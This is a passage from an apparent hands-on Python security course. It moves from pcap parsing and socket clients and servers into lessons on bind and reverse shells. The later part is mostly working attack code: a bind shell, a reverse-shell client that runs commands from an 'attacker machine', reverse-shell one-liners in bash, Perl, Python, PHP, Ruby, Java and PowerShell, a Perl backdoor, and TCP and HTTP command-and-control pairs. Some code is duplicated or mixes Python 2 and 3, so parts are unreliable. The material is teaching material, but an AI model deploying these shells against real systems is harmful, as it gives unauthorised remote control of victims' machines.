  4665. ---------------------------Type This-----------------------------------
  4666.  
  4667.  
  4668. pip install dpkt
  4669.  
  4670. ----------------------------------------------------------------------
  4671.  
  4672.  
  4673.  
  4674. Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
  4675. Run tcpdump to capture a .pcap file that we will use for the next exercise
  4676.  
  4677. ---------------------------Type This-----------------------------------
  4678.  
  4679. sudo tcpdump -ni wlp8s0 -s0 -w quick.pcap
  4680.  
  4681. ----------------------------------------------------------------------
  4682.  
  4683.  
  4684. --open another command prompt--
  4685.  
  4686. ---------------------------Type This-----------------------------------
  4687.  
  4688.  
  4689. wget http://packetlife.net/media/library/12/tcpdump.pdf
  4690.  
  4691. ----------------------------------------------------------------------
  4692.  
  4693. Let's do something simple:
  4694.  
  4695. ---------------------------Type This-----------------------------------
  4696.  
  4697.  
  4698. vi quickpcap.py
  4699.  
  4700. ---------------------------Paste This-----------------------------------
  4701.  
  4702. #!/usr/bin/env python3
  4703. import dpkt
  4704.  
  4705. # Simple script to read the timestamps in a pcap file
  4706. # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
  4707.  
  4708. f = open("quick.pcap","r")
  4709. pcap = dpkt.pcap.Reader(f)
  4710.  
  4711. for ts, buf in pcap:
  4712.     print (ts)
  4713.  
  4714. f.close()
  4715.  
  4716.  
  4717.  
  4718. ----------------------------------------------------------------------
  4719.  
  4720.  
  4721. Now let's run the script we just wrote
  4722.  
  4723. ---------------------------Type This-----------------------------------
  4724.  
  4725. $ python3 quickpcap.py
  4726.  
  4727. ----------------------------------------------------------------------
  4728.  
  4729.  
  4730.  
  4731. How dpkt breaks down a packet:
  4732.  
  4733. Reference:
  4734. http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
  4735.  
  4736.    src: the MAC address of SOURCE.
  4737.    dst: The MAC address of DESTINATION
  4738.    type: The protocol type of contained ethernet payload.
  4739.  
  4740. The allowed values are listed in the file "ethernet.py",
  4741. such as:
  4742. a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
  4743. b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
  4744.  
  4745.  
  4746. References:
  4747. http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
  4748.  
  4749.  
  4750.  
  4751.  
  4752.  
  4753.  
  4754.  
  4755. Ok - now let's have a look at pcapparsing.py
  4756.  
  4757. ---------------------------Type This-----------------------------------
  4758.  
  4759.  
  4760. sudo tcpdump -ni wlp8s0 -s0 -w capture-100.pcap
  4761.  
  4762. ----------------------------------------------------------------------
  4763.  
  4764. --open another command prompt--
  4765.  
  4766. ---------------------------Type This-----------------------------------
  4767.  
  4768.  
  4769. wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
  4770.  
  4771. ----------------------------------------------------------------------
  4772.  
  4773.  
  4774. Ok - now let's have a look at pcapparsing.py
  4775.  
  4776.  
  4777. --------------------------------------------------------------
  4778.  
  4779. ****************************************
  4780. import socket
  4781. import dpkt
  4782. import sys
  4783. f = open('capture-100.pcap','r')
  4784. pcapReader = dpkt.pcap.Reader(f)
  4785.  
  4786. for ts,data in pcapReader:
  4787.    ether = dpkt.ethernet.Ethernet(data)
  4788.    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  4789.    ip = ether.data
  4790.    tcp = ip.data
  4791.    src = socket.inet_ntoa(ip.src)
  4792.    srcport = tcp.sport
  4793.    dst = socket.inet_ntoa(ip.dst)
  4794.    dstport = tcp.dport
  4795.    print(("src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)))
  4796.  
  4797. f.close()
  4798.  
  4799. ----------------------------------------------------------------------
  4800.  
  4801.  
  4802.  
  4803. OK - let's run it:
  4804.  
  4805. ---------------------------Type This-----------------------------------
  4806.  
  4807. $ python3 pcapparsing.py
  4808.  
  4809. ----------------------------------------------------------------------
  4810.  
  4811. ----------------------------------------------------------------------
  4812.  
  4813.  
  4814. running this script might throw an error like this:
  4815.  
  4816. Traceback (most recent call last):
  4817.  File "pcapparsing.py", line 9, in <module>
  4818.    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  4819.  
  4820.  
  4821. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  4822.  
  4823.  
  4824.  
  4825.  
  4826. Your homework for today...
  4827.  
  4828.  
  4829. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  4830.  
  4831. ***********************************************************
  4832.  
  4833.  
  4834.  
  4835.  
  4836. Your challenge is to fix the Traceback error
  4837.  
  4838.  
  4839.  
  4840.  
  4841. ----------------------------------------------------------------------
  4842.  
  4843.  
  4844. running this script might throw an error like this:
  4845.  
  4846. Traceback (most recent call last):
  4847.  File "pcapparsing.py", line 9, in <module>
  4848.    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  4849.  
  4850.  
  4851. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  4852.  
  4853.  
  4854.  
  4855.  
  4856. Your homework for today...
  4857.  
  4858.  
  4859. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  4860.  
  4861. ***********************************************************
  4862.  
  4863.  
  4864.  
  4865.  
  4866. Your challenge is to fix the Traceback error
  4867.  
  4868. ---------------------------Paste This-----------------------------------
  4869.  
  4870. import pcapy
  4871. import dpkt
  4872. import sys
  4873. import socket
  4874. import struct
  4875.  
  4876. SINGLE_SHOT = False
  4877.  
  4878. # list all the network devices
  4879. pcapy.findalldevs()
  4880.  
  4881. iface = "wlp8s0"
  4882. filter = "arp"
  4883. max_bytes = 1024
  4884. promiscuous = False
  4885. read_timeout = 100 # in milliseconds
  4886.  
  4887. pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
  4888. pc.setfilter( filter )
  4889.  
  4890. # callback for received packets
  4891. def recv_pkts(hdr, data):
  4892.    packet = dpkt.ethernet.Ethernet( data )
  4893.  
  4894.    print (type( packet.data ))
  4895.    print ("ipsrc: %s, ipdst: %s" %( \
  4896.                 socket.inet_ntoa( packet.data.spa ), \
  4897.                 socket.inet_ntoa( packet.data.tpa ) ))
  4898.  
  4899.    print ("macsrc: %s, macdst: %s " % (
  4900.                "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
  4901.                "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) ))
  4902.  
  4903. if SINGLE_SHOT:
  4904.    header, data = pc.next()
  4905.    sys.exit(0)
  4906. else:
  4907.    packet_limit = -1 # infinite
  4908.    pc.loop( packet_limit, recv_pkts ) # capture packets
  4909.  
  4910.  
  4911. ----------------------------------------------------------------------
  4912.  
  4913.  
  4914.  
  4915.  
  4916. ##################################
  4917. # Day 1 Homework videos to watch #
  4918. ##################################
  4919. Here is your first set of youtube videos that I'd like for you to watch:
  4920. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
  4921.  
  4922. How to install idle in Mac OS X:
  4923. https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
  4924.  
  4925.  
  4926.  
  4927.  
  4928. ########################
  4929. # Day 1 Challenge task #
  4930. ########################
  4931. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  4932.  
  4933. Running the current version of the script may give you an error like this:
  4934.  
  4935. Traceback (most recent call last):
  4936.  File "pcapparsing.py", line 9, in <module>
  4937.    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  4938.  
  4939.  
  4940. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  4941.  
  4942. Your challenge task is to fix the Traceback error
  4943.  
  4944.  
  4945.  
  4946.  
  4947.  
  4948.  
  4949.                            #################################
  4950. ----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
  4951.                            #################################
  4952.  
  4953.  
  4954.  
  4955.  
  4956.  
  4957. #############################################
  4958. # Lesson 17: Python Sockets & Port Scanning #
  4959. #############################################
  4960.  
  4961. ---------------------------Type This-----------------------------------
  4962.  
  4963. $ sudo /sbin/iptables -F
  4964.  
  4965. $ ncat -l -v -p 1234
  4966.  
  4967. ----------------------------------------------------------------------
  4968.  
  4969.  
  4970.  
  4971. --open another terminal--
  4972.  
  4973. ---------------------------Type This-----------------------------------
  4974.  
  4975. $ python3
  4976.  
  4977. import socket
  4978. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4979. s.connect(('localhost', 1234))
  4980. s.send('Hello World'.encode())
  4981. data = s.recv(1024)
  4982. s.close()
  4983.  
  4984. print ('Received', data)
  4985.  
  4986.  
  4987.  
  4988. ----------------------------------------------------------------------
  4989.  
  4990.  
  4991.  
  4992.  
  4993. ########################################
  4994. # Lesson 18: TCP Client and TCP Server #
  4995. ########################################
  4996.  
  4997.  
  4998. ---------------------------Type This-----------------------------------
  4999.  
  5000.  
  5001. vi tcpclient.py
  5002.  
  5003. ---------------------------Paste This-----------------------------------
  5004.  
  5005.  
  5006. #!/usr/bin/env python3
  5007. # tcpclient.py
  5008.  
  5009. #!/usr/bin/python
  5010. # tcpclient.py
  5011.  
  5012. import socket
  5013.  
  5014. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5015. hostport = ("127.0.0.1", 1337)
  5016. s.connect(hostport)
  5017. s.send('Hello World'.encode())
  5018. buf = s.recv(1024)
  5019. print ("Received", buf)
  5020.  
  5021.  
  5022.  
  5023.  
  5024. ----------------------------------------------------------------------
  5025.  
  5026.  
  5027. ---------------------------Type This-----------------------------------
  5028.  
  5029.  
  5030.  
  5031.  
  5032.  
  5033.  
  5034. vi tcpserver.py
  5035.  
  5036.  
  5037. ---------------------------Paste This-----------------------------------
  5038.  
  5039.  
  5040. #!/usr/bin/env python3
  5041. # tcpserver.py
  5042.  
  5043. import socket
  5044.  
  5045. import socket
  5046.  
  5047. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5048. hostport = ("localhost", 1337)
  5049. s.bind(hostport)
  5050. s.listen(10)
  5051. while 1:
  5052.     cli,addr = s.accept()
  5053.     print ("Connection from", addr)
  5054.     buf = cli.recv(1024)
  5055.     print ("Received", buf)
  5056.     if buf == "Hello\n":
  5057.         cli.send("Server ID 1\n")
  5058.     cli.close()
  5059. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5060. hostport = ("", 1337)
  5061. s.bind(hostport)
  5062. s.listen(10)
  5063. while 1:
  5064.     cli,addr = s.accept()
  5065.     print "Connection from", addr
  5066.     buf = cli.recv(1024)
  5067.     print "Received", buf
  5068.     if buf == "Hello\n":
  5069.         cli.send("Server ID 1\n")
  5070.     cli.close()
  5071.  
  5072.  
  5073.  
  5074.  
  5075. ----------------------------------------------------------------------
  5076.  
  5077.  
  5078. ---------------------------Type This-----------------------------------
  5079.  
  5080.  
  5081. $ python3 tcpserver.py
  5082.  
  5083.  
  5084. --open another terminal--
  5085. $ python3 tcpclient.py
  5086.  
  5087.  
  5088. ########################################
  5089. # Lesson 19: UDP Client and UDP Server #
  5090. ########################################
  5091.  
  5092. ---------------------------Type This-----------------------------------
  5093.  
  5094. vi udpclient.py
  5095.  
  5096.  
  5097.  
  5098. ---------------------------Paste This-----------------------------------
  5099.  
  5100. import socket
  5101.  
  5102. msgFromClient       = "Hello UDP Server"
  5103. bytesToSend         = str.encode(msgFromClient)
  5104. serverAddressPort   = ("127.0.0.1", 20001)
  5105. bufferSize          = 1024
  5106.  
  5107. # Create a UDP socket at client side
  5108. UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
  5109. # Send to server using created UDP socket
  5110. UDPClientSocket.sendto(bytesToSend, serverAddressPort)
  5111. msgFromServer = UDPClientSocket.recvfrom(bufferSize)
  5112. msg = "Message from Server {}".format(msgFromServer[0])
  5113. print(msg)
  5114.  
  5115. ----------------------------------------------------------------------
  5116.  
  5117.  
  5118.  
  5119.  
  5120. ---------------------------Type This-----------------------------------
  5121.  
  5122.  
  5123. vi udpserver.py
  5124.  
  5125.  
  5126. ---------------------------Paste This-----------------------------------
  5127.  
  5128. import socket
  5129.  
  5130. localIP     = "127.0.0.1"
  5131. localPort   = 20001
  5132. bufferSize  = 1024
  5133. msgFromServer       = "Hello UDP Client"
  5134. bytesToSend         = str.encode(msgFromServer)
  5135. # Create a datagram socket
  5136. UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
  5137. # Bind to address and ip
  5138. UDPServerSocket.bind((localIP, localPort))
  5139. print("UDP server up and listening")
  5140. # Listen for incoming datagrams
  5141. while(True):
  5142.    bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
  5143.    message = bytesAddressPair[0]
  5144.    address = bytesAddressPair[1]
  5145.    clientMsg = "Message from Client:{}".format(message)
  5146.    clientIP  = "Client IP Address:{}".format(address)
  5147.    print(clientMsg)
  5148.    print(clientIP)
  5149.  
  5150.    # Sending a reply to client
  5151.    UDPServerSocket.sendto(bytesToSend, address)
  5152.  
  5153. ----------------------------------------------------------------------
  5154.  
  5155.  
  5156. ---------------------------Type This-----------------------------------
  5157.  
  5158.  
  5159. $ python3 udpserver.py
  5160.  
  5161.  
  5162. --open another terminal--
  5163. $ python3 udpclient.py
  5164.  
  5165.  
  5166.  
  5167. ----------------------------------------------------------------------
  5168.  
  5169.  
  5170. ######################################
  5171. # Lesson 20: Bind and Reverse Shells #
  5172. ######################################
  5173.  
  5174. ---------------------------Type This-----------------------------------
  5175.  
  5176.  
  5177. vi simplebindshell.py
  5178.  
  5179. ---------------------------Paste This-----------------------------------
  5180.  
  5181. #!/bin/env python3
  5182. import os,sys,socket
  5183.  
  5184. ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  5185. print ('-Creating socket..')
  5186. port = 31337
  5187. try:
  5188.     ls.bind(('', port))
  5189.     print ('-Binding the port on ')
  5190.     ls.listen(1)
  5191.     print ('-Listening, ')
  5192.     (conn, addr) = ls.accept()
  5193.     print ('-Waiting for connection...')
  5194.     cli= conn.fileno()
  5195.     print ('-Redirecting shell...')
  5196.     os.dup2(cli, 0)
  5197.     print ('In, ')
  5198.     os.dup2(cli, 1)
  5199.     print ('Out, ')
  5200.     os.dup2(cli, 2)
  5201.     print ('Err')  
  5202.     print ('Done!')
  5203.     arg0=('/bin/sh')
  5204.     arg1=('-a')
  5205.     args=[arg0]+[arg1]
  5206.     os.execv(arg0, args)
  5207. except(socket.error):
  5208.     print ('fail\n')
  5209.     conn.close()
  5210.     sys.exit(1)
  5211.  
  5212.  
  5213. ----------------------------------------------------------------------
  5214.  
  5215.  
  5216.  
  5217. ---------------------------Type This-----------------------------------
  5218.  
  5219. nc TARGETIP 31337
  5220.  
  5221. ----------------------------------------------------------------------
  5222.  
  5223.  
  5224. ---------------------
  5225. Preparing the target for a reverse shell
  5226.  
  5227. ---------------------------Type This-----------------------------------
  5228.  
  5229. $ ncat -lvp 4444
  5230.  
  5231. --open another terminal--
  5232. wget https://www.trustedsec.com/files/simple_py_shell.py
  5233.  
  5234. vi simple_py_shell.py
  5235.  
  5236.  
  5237. #!/usr/bin/env python3
  5238. # imports here
  5239. # Copyright 2012 TrustedSec, LLC. All rights reserved.
  5240. #
  5241. # This piece of software code is licensed under the FreeBSD license..
  5242. #
  5243. # Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
  5244. import socket,subprocess
  5245. HOST = '192.168.1.54'    # The remote host
  5246. PORT = 4444            # The same port as used by the server
  5247. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5248. # connect to attacker machine
  5249. s.connect((HOST, PORT))
  5250. # send we are connected
  5251. s.send('[*] Connection Established!')
  5252. # start loop
  5253. while 1:
  5254.     # recieve shell command
  5255.     data = s.recv(1024)
  5256.     # if its quit, then break out and close socket
  5257.     if data == "quit": break
  5258.     # do shell command
  5259.     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  5260.     # read output
  5261.     stdout_value = proc.stdout.read() + proc.stderr.read()
  5262.     # send output to attacker
  5263.     s.send(stdout_value)
  5264. # close socket
  5265. s.close()
  5266.  
  5267.  
  5268.  
  5269.  
  5270. -------------------------------
  5271. Tricky shells
  5272.  
  5273. Reference:
  5274. http://securityweekly.com/2011/10/python-one-line-shell-code.html
  5275. http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
  5276.  
  5277.  
  5278.  
  5279. What is os.dup2?
  5280. https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
  5281.  
  5282.  
  5283.  
  5284.  
  5285.  
  5286. Lots of reverse shells in different languages
  5287. ---------------------------------------------------------------------
  5288.  
  5289.  
  5290.  
  5291. Lots of reverse shells in different languages
  5292. ---------------------------------------------------------------------
  5293.  
  5294.  
  5295.  
  5296. ########
  5297. # Bash #
  5298. ########
  5299.  
  5300. ---------------------------Type This-----------------------------------
  5301.  
  5302.  
  5303. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
  5304.  
  5305. ----------------------------------------------------------------------
  5306.  
  5307.  
  5308. ########
  5309. # Perl #
  5310. ########
  5311.  
  5312. ---------------------------Type This-----------------------------------
  5313.  
  5314.  
  5315. perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  5316.  
  5317.  
  5318.  
  5319. cat perlbackdoor.pl
  5320. #!/usr/bin/perl
  5321. use Socket;
  5322. use FileHandle;
  5323. $IP = $ARGV[0];
  5324. $PORT = $ARGV[1];
  5325. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  5326. connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
  5327. SOCKET->autoflush();
  5328. open(STDIN, ">&SOCKET");
  5329. open(STDOUT,">&SOCKET");
  5330. open(STDERR,">&SOCKET");
  5331. system("/bin/sh -i");
  5332.  
  5333. ----------------------------------------------------------------------
  5334.  
  5335. ##########
  5336. # Python #
  5337. ##########
  5338.  
  5339. ---------------------------Type This-----------------------------------
  5340.  
  5341. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  5342.  
  5343. ----------------------------------------------------------------------
  5344.  
  5345. #######
  5346. # Php #
  5347. #######
  5348. ---------------------------Type This-----------------------------------
  5349.  
  5350. php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  5351.  
  5352. ----------------------------------------------------------------------
  5353.  
  5354. ########
  5355. # ruby #
  5356. ########
  5357. ---------------------------Type This-----------------------------------
  5358.  
  5359. ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  5360.  
  5361. ----------------------------------------------------------------------
  5362.  
  5363.  
  5364. ########
  5365. # Java #
  5366. ########
  5367. ---------------------------Type This-----------------------------------
  5368.  
  5369. r = Runtime.getRuntime()
  5370. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  5371. p.waitFor()
  5372.  
  5373.  
  5374. exec 5<>/dev/tcp/127.0.0.1/1234
  5375.  
  5376.  
  5377. cat <&5 | while read line; do $line 2>&5 >&5; done
  5378.  
  5379. exec 5<>/dev/tcp/127.0.0.1/1234
  5380.  
  5381. while read line 0<&5; do $line 2>&5 >&5; done
  5382. 0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
  5383.  
  5384. ----------------------------------------------------------------------
  5385.  
  5386. ##############
  5387. # Powershell #
  5388. ##############
  5389. ---------------------------Type This-----------------------------------
  5390.  
  5391. powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};  if ($process.ExitCode -ne $null) {$process.Close()};  exit;  };$address = '127.0.0.1';  $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;$process = New-Object System.Diagnostics.Process  ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;$process.StartInfo.RedirectStandardInput = 1  ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0  ;$process.Start()  ;$inputstream = $process.StandardInput  ;$outputstream = $process.StandardOutput  ;Start-Sleep 1  ;$encoding = new-object System.Text.AsciiEncoding  ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length)  ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;$pos = 0; $i = 1;  while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);  $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);  $inputstream.write($string);  start-sleep 1;  if ($process.ExitCode -ne $null) {ReverseShellClean};else {  $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){;  $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}};  $stream.Write($encoding.GetBytes($out),0,$out.length);  $out = $null;  $string = $null}} else {ReverseShellClean}};"
  5392.  
  5393.  
  5394.  
  5395. ----------------------------------------------------------------------
  5396.  
  5397.  
  5398.  
  5399.  
  5400.  
  5401. ###############################
  5402. # Reverse Shell in Python 3.6 #
  5403. ###############################
  5404.  
  5405. We'll create 2 python files. One for the server and one for the client.
  5406.  
  5407. - Below is the python code that is running on victim/client Windows machine:
  5408.  
  5409. ---------------------------Paste This-----------------------------------
  5410.  
  5411. # Client
  5412.  
  5413. import socket # For Building TCP Connection
  5414. import subprocess # To start the shell in the system
  5415.  
  5416. def connect():
  5417.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5418.    s.connect(('192.168.1.52',8083))
  5419.  
  5420.    while True:                         #keep receiving commands
  5421.        command = s.recv(1024)
  5422.  
  5423.        if 'terminate'.encode() in command:
  5424.            s.close() #close the socket
  5425.            break
  5426.  
  5427.        else:
  5428.  
  5429.            CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  5430.            s.send( CMD.stdout.read()  )  # send the result
  5431.            s.send( CMD.stderr.read()  )  # incase you mistyped a command.
  5432.            # we will send back the error
  5433.  
  5434. def main ():
  5435.    connect()
  5436. main()
  5437.  
  5438.  
  5439.  
  5440.  
  5441. ----------------------------------------------------------------------
  5442.  
  5443. - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
  5444.  
  5445. ---------------------------Paste This-----------------------------------
  5446.  
  5447. # Server
  5448.  
  5449. import socket # For Building TCP Connection
  5450.  
  5451.  
  5452. def connect ():
  5453.  
  5454.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5455.    s.bind(("192.168.1.52", 8083))
  5456.    s.listen(1)
  5457.    conn, addr = s.accept()
  5458.    print ('[+] We got a connection from:  '.encode(), addr)
  5459.  
  5460.  
  5461.    while True:
  5462.         command = input("Shell> ".encode())
  5463.  
  5464.         if 'terminate' in command:
  5465.             conn.send('termminate')
  5466.             conn.close()  # close the connection with host
  5467.             break
  5468.  
  5469.         else:
  5470.             conn.send(command)   #send command
  5471.             print (conn.recv(1024))
  5472.  
  5473. def main ():
  5474.    connect()
  5475. main()
  5476.  
  5477. ----------------------------------------------------------------------
  5478.  
  5479. - First run server.py code from Ubuntu machine. From command line type:
  5480.  
  5481. ---------------------------Type This-----------------------------------
  5482.  
  5483. $ python3 server.py
  5484.  
  5485.  
  5486. ----------------------------------------------------------------------
  5487.  
  5488. - First run server.py code from Ubuntu machine. From command line type:
  5489.  
  5490. ---------------------------Type This-----------------------------------
  5491.  
  5492. $ python3 server.py
  5493.  
  5494. ----------------------------------------------------------------------
  5495.  
  5496. - then check if 8080 port is open, and if we are listening on 8080:
  5497.  
  5498. ---------------------------Type This-----------------------------------
  5499.  
  5500. netstat -antp | grep "8080"
  5501.  
  5502. ----------------------------------------------------------------------
  5503.  
  5504. - Then on victim ( Windows ) unit run client.py code.
  5505.  
  5506.  
  5507. - Connection will be established, and you will get a shell on Ubuntu:
  5508.  
  5509. ---------------------------Type This-----------------------------------
  5510.  
  5511. infosecaddicts@ubuntu:~$ python server.py
  5512. [+] We got a connection from:   ('192.168.243.1', 56880)
  5513. Shell> arp -a
  5514.  
  5515. Shell> ipconfig
  5516.  
  5517. Shell> dir
  5518. ----------------------------------------------------------------------
  5519.  
  5520.  
  5521.  
  5522.  
  5523. it was not possible to do this in python 3
  5524.  
  5525. ##########################################
  5526. # HTTP based reverse shell in Python 3.6 #
  5527. ##########################################
  5528.  
  5529.  
  5530. - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
  5531. - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
  5532.  
  5533. Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
  5534.  
  5535. - Install requests package:
  5536. ---------------------------Type This-----------------------------------
  5537.  
  5538. $ python3 -m pip install requests
  5539.  
  5540. ----------------------------------------------------------------------
  5541.  
  5542. - Copy and paste below code into client_http.py on your Windows machine:
  5543.  
  5544. - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
  5545.  
  5546. ---------------------------Paste This-----------------------------------
  5547. #######import BaseHTTPServer does not work in python 3.x#####
  5548.  
  5549. # client_http
  5550.  
  5551. import requests
  5552. import subprocess
  5553. import time
  5554.  
  5555.  
  5556. while True:
  5557.    req = requests.get('http://192.168.243.150')
  5558.    command = req.text
  5559.  
  5560.    if 'terminate' in command:
  5561.        break
  5562.  
  5563.    else:
  5564.        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  5565.        post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
  5566.        post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
  5567.  
  5568.    time.sleep(3)
  5569.  
  5570. ----------------------------------------------------------------------
  5571.  
  5572. - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
  5573.  
  5574.  
  5575. ---------------------------Paste This-----------------------------------
  5576. ###import BaseHTTPServer does not work in python 3.x####
  5577. import BaseHTTPServer
  5578. HOST_NAME = '192.168.243.150'
  5579. PORT_NUMBER = 80
  5580. class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  5581.  
  5582.    def do_GET(s):
  5583.        command = raw_input("Shell> ")
  5584.        s.send_response(200)
  5585.        s.send_header("Content-type", "text/html")
  5586.        s.end_headers()
  5587.        s.wfile.write(command)
  5588.  
  5589.  
  5590.    def do_POST(s):
  5591.        s.send_response(200)
  5592.        s.end_headers()
  5593.        length = int(s.headers['Content-Length'])
  5594.        postVar = s.rfile.read(length)
  5595.        print postVar
  5596.  
  5597. if __name__ == '__main__':
  5598.    server_class = BaseHTTPServer.HTTPServer
  5599.    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
  5600.  
  5601.    try:
  5602.        httpd.serve_forever()                            
  5603.    except KeyboardInterrupt:
  5604.        print'[!] Server is terminated'
  5605.        httpd.server_close()
  5606.  
  5607. ----------------------------------------------------------------------
  5608.  
  5609. - run server_HTTP.py on Ubuntu with next command:
  5610.  
  5611. ---------------------------Type This-----------------------------------
  5612.  
  5613. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  5614.  
  5615. ----------------------------------------------------------------------
  5616.  
  5617.  
  5618. - on Windows machine run client_http.py
  5619.  
  5620. - on Ubuntu you will see that connection is established:
  5621.  
  5622. ---------------------------Type This-----------------------------------
  5623.  
  5624. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  5625. Shell> dir
  5626. ----------------------------------------------------------------------
  5627.  
  5628. 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
  5629. 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
  5630. Volume in drive C has no label.
  5631.  
  5632. ________________________________________________________________________
  5633.  
  5634.  
  5635.  
  5636.  
  5637. ############################################
  5638. # Multi-Threaded Reverse Shell in Python 3 #
  5639. ############################################
  5640.  
  5641.  
  5642. - We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
  5643.  
  5644. Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
  5645.  
  5646.  
  5647. Server.py code:
  5648. ---------------------------Paste This-----------------------------------
  5649.  
  5650.  
  5651. import socket
  5652. import sys
  5653.  
  5654. # Create socket (allows two computers to connect)
  5655.  
  5656. def socket_create():
  5657.    try:
  5658.        global host
  5659.        global port
  5660.        global s
  5661.        host = ''
  5662.        port = 9999
  5663.        s = socket.socket()
  5664.    except socket.error as msg:
  5665.        print("Socket creation error: " + str(msg))
  5666.        
  5667. # Bind socket to port and wait for connection from client
  5668. def socket_bind():
  5669.    try:
  5670.        global host
